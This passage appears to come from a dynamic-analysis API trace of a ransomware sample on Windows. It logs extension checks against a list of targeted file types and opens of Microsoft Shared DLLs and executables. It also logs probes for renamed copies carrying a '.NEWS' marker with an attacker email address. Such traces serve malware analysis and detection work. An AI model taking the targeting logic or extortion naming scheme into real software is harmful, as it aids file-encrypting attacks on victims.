Shared\\ink\\TipBand.dll") returned 62 [0213.663] lstrlenW (lpString=".dbf") returned 4 [0213.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.663] lstrlenW (lpString=".1cd") returned 4 [0213.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.663] lstrlenW (lpString=".jpg") returned 4 [0213.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.665] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0213.665] lstrlenW (lpString="TipRes.dll") returned 10 [0213.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.666] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=544768) returned 1 [0213.666] CloseHandle (hObject=0x288) returned 1 [0213.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0213.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.667] lstrlenW (lpString=".doc") returned 4 [0213.667] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.667] lstrlenW (lpString=".docx") returned 5 [0213.667] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.667] lstrlenW (lpString=".pdf") returned 4 [0213.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.668] lstrlenW (lpString=".xls") returned 4 [0213.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.668] lstrlenW (lpString=".xlsx") returned 5 [0213.669] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.669] lstrlenW (lpString=".ppt") returned 4 [0213.669] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.669] lstrlenW (lpString=".zip") returned 4 [0213.670] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.670] lstrlenW (lpString=".rar") returned 4 [0213.670] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.670] lstrlenW (lpString=".bz2") returned 4 [0213.670] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.670] lstrlenW (lpString=".7z") returned 3 [0213.670] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.670] lstrlenW (lpString=".dbf") returned 4 [0213.670] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.670] lstrlenW (lpString=".1cd") returned 4 [0213.671] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.671] lstrlenW (lpString=".jpg") returned 4 [0213.671] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.673] lstrlenW (lpString=".doc") returned 4 [0213.673] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.673] lstrlenW (lpString=".docx") returned 5 [0213.673] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.673] lstrlenW (lpString=".pdf") returned 4 [0213.673] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.673] lstrlenW (lpString=".xls") returned 4 [0213.673] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.673] lstrlenW (lpString=".xlsx") returned 5 [0213.673] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.674] lstrlenW (lpString=".ppt") returned 4 [0213.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.674] lstrlenW (lpString=".zip") returned 4 [0213.675] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.675] lstrlenW (lpString=".rar") returned 4 [0213.675] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.675] lstrlenW (lpString=".bz2") returned 4 [0213.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.675] lstrlenW (lpString=".7z") returned 3 [0213.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.675] lstrlenW (lpString=".dbf") returned 4 [0213.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.676] lstrlenW (lpString=".1cd") returned 4 [0213.676] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0213.676] lstrlenW (lpString=".jpg") returned 4 [0213.676] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.677] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0213.677] lstrlenW (lpString="tipresx.dll") returned 11 [0213.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.679] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=12288) returned 1 [0213.679] CloseHandle (hObject=0x288) returned 1 [0213.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0213.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0213.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0213.680] lstrlenW (lpString=".doc") returned 4 [0213.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.680] lstrlenW (lpString=".docx") returned 5 [0213.680] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0213.680] lstrlenW (lpString=".pdf") returned 4 [0213.680] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.680] lstrlenW (lpString=".xls") returned 4 [0213.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.681] lstrlenW (lpString=".xlsx") returned 5 [0213.681] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0213.681] lstrlenW (lpString=".ppt") returned 4 [0213.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0213.681] lstrlenW (lpString=".zip") returned 4 [0214.272] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.272] lstrlenW (lpString=".rar") returned 4 [0214.273] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.273] lstrlenW (lpString=".bz2") returned 4 [0214.273] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.273] lstrlenW (lpString=".7z") returned 3 [0214.273] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.273] lstrlenW (lpString=".dbf") returned 4 [0214.273] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.273] lstrlenW (lpString=".1cd") returned 4 [0214.273] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.273] lstrlenW (lpString=".jpg") returned 4 [0214.273] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.274] lstrlenW (lpString=".doc") returned 4 [0214.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.274] lstrlenW (lpString=".docx") returned 5 [0214.274] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0214.274] lstrlenW (lpString=".pdf") returned 4 [0214.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.274] lstrlenW (lpString=".xls") returned 4 [0214.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.275] lstrlenW (lpString=".xlsx") returned 5 [0214.275] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0214.276] lstrlenW (lpString=".ppt") returned 4 [0214.276] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.276] lstrlenW (lpString=".zip") returned 4 [0214.276] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.276] lstrlenW (lpString=".rar") returned 4 [0214.277] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.277] lstrlenW (lpString=".bz2") returned 4 [0214.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.277] lstrlenW (lpString=".7z") returned 3 [0214.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.277] lstrlenW (lpString=".dbf") returned 4 [0214.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.278] lstrlenW (lpString=".1cd") returned 4 [0214.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0214.278] lstrlenW (lpString=".jpg") returned 4 [0214.278] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.278] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0214.280] lstrlenW (lpString="MSCDM.DLL") returned 9 [0214.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0214.282] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=419232) returned 1 [0214.282] CloseHandle (hObject=0x384) returned 1 [0214.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0214.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.283] lstrlenW (lpString=".doc") returned 4 [0214.283] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0214.283] lstrlenW (lpString=".docx") returned 5 [0214.284] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0214.284] lstrlenW (lpString=".pdf") returned 4 [0214.284] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0214.284] lstrlenW (lpString=".xls") returned 4 [0214.284] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0214.284] lstrlenW (lpString=".xlsx") returned 5 [0214.284] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0214.284] lstrlenW (lpString=".ppt") returned 4 [0214.284] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0214.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.285] lstrlenW (lpString=".zip") returned 4 [0214.285] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0214.285] lstrlenW (lpString=".rar") returned 4 [0214.285] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0214.285] lstrlenW (lpString=".bz2") returned 4 [0214.285] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0214.285] lstrlenW (lpString=".7z") returned 3 [0214.285] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0214.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.285] lstrlenW (lpString=".dbf") returned 4 [0214.285] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0214.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.286] lstrlenW (lpString=".1cd") returned 4 [0214.286] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0214.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.286] lstrlenW (lpString=".jpg") returned 4 [0214.286] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0214.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.287] lstrlenW (lpString=".doc") returned 4 [0214.287] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0214.287] lstrlenW (lpString=".docx") returned 5 [0214.287] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0214.287] lstrlenW (lpString=".pdf") returned 4 [0214.288] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0214.288] lstrlenW (lpString=".xls") returned 4 [0214.288] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0214.288] lstrlenW (lpString=".xlsx") returned 5 [0214.288] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0214.288] lstrlenW (lpString=".ppt") returned 4 [0214.288] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0214.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.288] lstrlenW (lpString=".zip") returned 4 [0214.288] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0214.289] lstrlenW (lpString=".rar") returned 4 [0214.289] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0214.290] lstrlenW (lpString=".bz2") returned 4 [0214.290] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0214.290] lstrlenW (lpString=".7z") returned 3 [0214.290] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0214.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.290] lstrlenW (lpString=".dbf") returned 4 [0214.290] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0214.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.290] lstrlenW (lpString=".1cd") returned 4 [0214.290] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0214.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0214.293] lstrlenW (lpString=".jpg") returned 4 [0214.293] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0214.293] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0214.294] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0214.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0214.295] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=26624) returned 1 [0214.295] CloseHandle (hObject=0x384) returned 1 [0214.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0214.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.296] lstrlenW (lpString=".doc") returned 4 [0214.296] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0214.296] lstrlenW (lpString=".docx") returned 5 [0214.297] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0214.297] lstrlenW (lpString=".pdf") returned 4 [0214.297] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0214.297] lstrlenW (lpString=".xls") returned 4 [0214.297] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0214.297] lstrlenW (lpString=".xlsx") returned 5 [0214.298] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0214.298] lstrlenW (lpString=".ppt") returned 4 [0214.298] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0214.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.298] lstrlenW (lpString=".zip") returned 4 [0214.298] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0214.298] lstrlenW (lpString=".rar") returned 4 [0214.298] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0214.298] lstrlenW (lpString=".bz2") returned 4 [0214.298] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0214.298] lstrlenW (lpString=".7z") returned 3 [0214.298] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0214.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.298] lstrlenW (lpString=".dbf") returned 4 [0214.299] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0214.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.300] lstrlenW (lpString=".1cd") returned 4 [0214.300] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0214.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.300] lstrlenW (lpString=".jpg") returned 4 [0214.300] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0214.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.300] lstrlenW (lpString=".doc") returned 4 [0214.302] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0214.302] lstrlenW (lpString=".docx") returned 5 [0214.302] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0214.302] lstrlenW (lpString=".pdf") returned 4 [0214.303] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0214.303] lstrlenW (lpString=".xls") returned 4 [0214.303] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0214.303] lstrlenW (lpString=".xlsx") returned 5 [0214.303] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0214.303] lstrlenW (lpString=".ppt") returned 4 [0214.303] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0214.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.303] lstrlenW (lpString=".zip") returned 4 [0214.303] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0214.303] lstrlenW (lpString=".rar") returned 4 [0214.303] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0214.304] lstrlenW (lpString=".bz2") returned 4 [0214.304] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0214.304] lstrlenW (lpString=".7z") returned 3 [0214.304] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0214.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.304] lstrlenW (lpString=".dbf") returned 4 [0214.304] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0214.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.305] lstrlenW (lpString=".1cd") returned 4 [0214.305] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0214.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0214.305] lstrlenW (lpString=".jpg") returned 4 [0214.305] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0214.306] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0214.306] lstrlenW (lpString="msinfo32.exe") returned 12 [0214.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0214.309] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=378880) returned 1 [0214.309] CloseHandle (hObject=0x384) returned 1 [0214.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0214.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0214.313] lstrlenW (lpString=".doc") returned 4 [0214.313] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0214.313] lstrlenW (lpString=".docx") returned 5 [0214.313] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0214.313] lstrlenW (lpString=".pdf") returned 4 [0214.313] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0214.313] lstrlenW (lpString=".xls") returned 4 [0214.313] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0214.313] lstrlenW (lpString=".xlsx") returned 5 [0214.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0214.313] lstrlenW (lpString=".ppt") returned 